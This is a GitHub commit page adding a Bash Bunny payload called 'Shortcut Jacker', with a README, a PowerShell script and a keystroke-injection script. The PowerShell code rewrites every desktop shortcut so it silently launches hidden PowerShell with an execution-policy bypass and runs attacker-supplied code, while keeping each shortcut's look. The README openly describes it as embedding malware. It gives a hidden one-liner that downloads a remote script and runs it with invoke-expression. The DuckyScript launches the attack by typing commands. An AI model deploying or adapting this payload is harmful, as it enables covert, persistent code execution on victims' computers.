-
Notifications
You must be signed in to change notification settings - Fork 1.5k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #557 from I-Am-Jakoby/master
New Payload - Shortcut Jacker
- Loading branch information
Showing
3 changed files
with
282 additions
and
0 deletions.
There are no files selected for viewing
144 changes: 144 additions & 0 deletions
144
payloads/library/execution/-BB-ShortcutJacker/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,144 @@ | ||
 | ||
|
||
<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50"> | ||
|
||
<h1 align="center"> | ||
<a href="https://git.io/typing-svg"> | ||
<img src="https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Shortcut+Jacker!+😈¢er=true&size=30"> | ||
</a> | ||
</h1> | ||
|
||
<!-- TABLE OF CONTENTS --> | ||
<details> | ||
<summary>Table of Contents</summary> | ||
<ol> | ||
<li><a href="#Description">Description</a></li> | ||
<li><a href="#getting-started">Getting Started</a></li> | ||
<li><a href="#Contributing">Contributing</a></li> | ||
<li><a href="#Version-History">Version History</a></li> | ||
<li><a href="#Contact">Contact</a></li> | ||
<li><a href="#Acknowledgments">Acknowledgments</a></li> | ||
</ol> | ||
</details> | ||
|
||
# Shortcut Jacker | ||
|
||
<p align="left"> | ||
<a href="https://www.youtube.com/watch?v=sOLIdqpzrW4"> | ||
<img src=https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/SCJ-TV2.png width="300" alt="Python" /> | ||
</a> | ||
<br>YouTube Tutorial | ||
</p> | ||
|
||
A script used to embed malware in the shortcut on your targets desktop | ||
|
||
## Description | ||
|
||
This payload will run a powershell script in the background of any shortcut used on the targets desktop | ||
|
||
This is done by taking advantage of the ```Target``` field where powershell commands can be stored or run. | ||
|
||
This field can store a max of 259 VISIBLE characters in that bar however after some testing I found you can store 924 characters int the ```$code``` variable and it will still run. | ||
|
||
So if your command exceeds that consider using an IWR function to download and execute a longer script. | ||
|
||
I have an Invoke WebRequest tutorial for that [HERE](https://www.youtube.com/watch?v=bPkBzyEnr-w&list=PL3NRVyAumvmppdfMFMUzMug9Cn_MtF6ub&index=13) | ||
|
||
<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/properties.jpg" width="300"> | ||
|
||
Inside the .ps1 file you will find a line at the beginning with a ```$code``` variable. This is where the powershell code you want executed is stored. | ||
|
||
--------------------------------------------------------------------------------------------------------------------------------------------------------- | ||
|
||
<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/code.jpg" width="900"> | ||
|
||
--------------------------------------------------------------------------------------------------------------------------------------------------------- | ||
|
||
Using the ```Get-Shortcut``` function we will get the following information we can then use to maintain the integrity of the appearance of the shortcut after manipulating the ```Target``` field. | ||
|
||
<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/shortcut.jpg" width="900"> | ||
|
||
## Getting Started | ||
|
||
Once the script is executed all of the shortcuts on your target's desktop will be infected with the powershell code you have stored in the `$code` variable in the .ps1 file | ||
|
||
### Dependencies | ||
|
||
* An internet connection | ||
* Windows 10,11 | ||
|
||
<p align="right">(<a href="#top">back to top</a>)</p> | ||
|
||
### Executing program | ||
|
||
* Plug in your device | ||
* Invoke-WebRequest will be entered in the Run Box to download and execute the dependencies and payload | ||
``` | ||
powershell -w h -NoP -NonI -Exec Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; invoke-expression $pl | ||
``` | ||
|
||
<p align="right">(<a href="#top">back to top</a>)</p> | ||
|
||
## Contributing | ||
|
||
All contributors names will be listed here | ||
|
||
I am Jakoby | ||
|
||
<p align="right">(<a href="#top">back to top</a>)</p> | ||
|
||
## Version History | ||
|
||
* 0.1 | ||
* Initial Release | ||
|
||
<p align="right">(<a href="#top">back to top</a>)</p> | ||
|
||
<!-- CONTACT --> | ||
## Contact | ||
|
||
<h2 align="center">📱 My Socials 📱</h2> | ||
<div align=center> | ||
<table> | ||
<tr> | ||
<td align="center" width="96"> | ||
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1"> | ||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" /> | ||
</a> | ||
<br>YouTube | ||
</td> | ||
<td align="center" width="96"> | ||
<a href="https://twitter.com/I_Am_Jakoby"> | ||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" /> | ||
</a> | ||
<br>Twitter | ||
</td> | ||
<td align="center" width="96"> | ||
<a href="https://www.instagram.com/i_am_jakoby/"> | ||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" /> | ||
</a> | ||
<br>Instagram | ||
</td> | ||
<td align="center" width="96"> | ||
<a href="https://discord.gg/MYYER2ZcJF"> | ||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" /> | ||
</a> | ||
<br>Discord | ||
</td> | ||
</tr> | ||
</table> | ||
</div> | ||
|
||
<p align="right">(<a href="#top">back to top</a>)</p> | ||
|
||
<!-- ACKNOWLEDGMENTS --> | ||
## Acknowledgments | ||
|
||
* [Hak5](https://hak5.org/) | ||
* [MG](https://github.com/OMG-MG) | ||
|
||
<p align="right">(<a href="#top">back to top</a>)</p> | ||
|
||
<p align="center"> | ||
<img src="https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg" alt="Github Stats" /> | ||
</p> |
118 changes: 118 additions & 0 deletions
118
payloads/library/execution/-BB-ShortcutJacker/Shortcut-Jacker.ps1
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,118 @@ | ||
############################################################################################################################################################ | ||
# | ___ _ _ _ # ,d88b.d88b # | ||
# Title : Shortcut-Jacker | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 # | ||
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' # | ||
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' # | ||
# Category : Execution | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' # | ||
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ # | ||
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ # | ||
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / # | ||
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo # | ||
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ # | ||
#__________________________________|_________________________________________________________________________# | | ) ~ ( # | ||
# # / \ / ~ \ # | ||
# github.com/I-Am-Jakoby # \ / \~ ~/ # | ||
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_# | ||
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |# | ||
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |# | ||
############################################################################################################################################################ | ||
|
||
<# | ||
.SYNOPSIS | ||
This is payload used to inject powershell code into shortcuts | ||
.DESCRIPTION | ||
This payload will gather information on the shortcuts on your targets desktop | ||
That data will then be manipulated to embed a powershell script | ||
This script will be ran in the background when the short cut is | ||
#> | ||
|
||
############################################################################################################################################################ | ||
|
||
<# | ||
.NOTES | ||
The powershell code stored in this variable is what will run in the background | ||
This field can store a max of 259 VISIBLE characters in that bar however after some testing I found you can store 924 characters int the $code | ||
variable and it will still run. | ||
#> | ||
|
||
$code = "Add-Type -AssemblyName PresentationCore,PresentationFramework; [System.Windows.MessageBox]::Show('Hacked')" | ||
|
||
############################################################################################################################################################ | ||
|
||
function Get-Shortcut { | ||
param( | ||
$path = $null | ||
) | ||
|
||
$obj = New-Object -ComObject WScript.Shell | ||
|
||
if ($path -eq $null) { | ||
$pathUser = [System.Environment]::GetFolderPath('StartMenu') | ||
$pathCommon = $obj.SpecialFolders.Item('AllUsersStartMenu') | ||
$path = dir $pathUser, $pathCommon -Filter *.lnk -Recurse | ||
} | ||
if ($path -is [string]) { | ||
$path = dir $path -Filter *.lnk | ||
} | ||
$path | ForEach-Object { | ||
if ($_ -is [string]) { | ||
$_ = dir $_ -Filter *.lnk | ||
} | ||
if ($_) { | ||
$link = $obj.CreateShortcut($_.FullName) | ||
|
||
$info = @{} | ||
$info.Hotkey = $link.Hotkey | ||
$info.TargetPath = $link.TargetPath | ||
$info.LinkPath = $link.FullName | ||
$info.Arguments = $link.Arguments | ||
$info.Target = try {Split-Path $info.TargetPath -Leaf } catch { 'n/a'} | ||
$info.Link = try { Split-Path $info.LinkPath -Leaf } catch { 'n/a'} | ||
$info.WindowStyle = $link.WindowStyle | ||
$info.IconLocation = $link.IconLocation | ||
|
||
return $info | ||
} | ||
} | ||
} | ||
|
||
#----------------------------------------------------------------------------------------------------------- | ||
|
||
function Set-Shortcut { | ||
param( | ||
[Parameter(ValueFromPipelineByPropertyName=$true)] | ||
$LinkPath, | ||
$IconLocation, | ||
$Arguments, | ||
$TargetPath | ||
) | ||
begin { | ||
$shell = New-Object -ComObject WScript.Shell | ||
} | ||
|
||
process { | ||
$link = $shell.CreateShortcut($LinkPath) | ||
|
||
$PSCmdlet.MyInvocation.BoundParameters.GetEnumerator() | | ||
Where-Object { $_.key -ne 'LinkPath' } | | ||
ForEach-Object { $link.$($_.key) = $_.value } | ||
$link.Save() | ||
} | ||
} | ||
|
||
#----------------------------------------------------------------------------------------------------------- | ||
|
||
function hijack{ | ||
$Link = $i.LinkPath | ||
$Loc = $i.IconLocation | ||
$TargetPath = $i.TargetPath | ||
if($Loc.length -lt 4){$Loc = "$TargetPath$Loc"} | ||
$Target = $i.Target | ||
if(Test-Path -Path "$Link" -PathType Leaf){Set-Shortcut -LinkPath "$Link" -IconLocation "$Loc" -Arguments "-w h -NoP -NonI -Exec Bypass start-process '$TargetPath';$code" -TargetPath "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"} | ||
} | ||
|
||
#----------------------------------------------------------------------------------------------------------- | ||
|
||
Get-ChildItem –Path "$Env:USERPROFILE\Desktop" -Filter *.lnk |Foreach-Object {$i = Get-Shortcut $_.FullName;hijack $_.FullName} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
REM Title: Shortcut-Jacker | ||
|
||
REM Author: I am Jakoby | ||
|
||
REM Description: This payload will run a powershell script in the background of any shortcut used on the targets desktop | ||
|
||
REM Target: Windows 10, 11 | ||
|
||
GET SWITCH_POSITION | ||
|
||
ATTACKMODE HID STORAGE | ||
|
||
LED STAGE1 | ||
|
||
QUACK DELAY 3000 | ||
QUACK GUI r | ||
QUACK DELAY 100 | ||
LED STAGE2 | ||
QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\Shortcut-Jacker.ps1')" | ||
QUACK ENTER |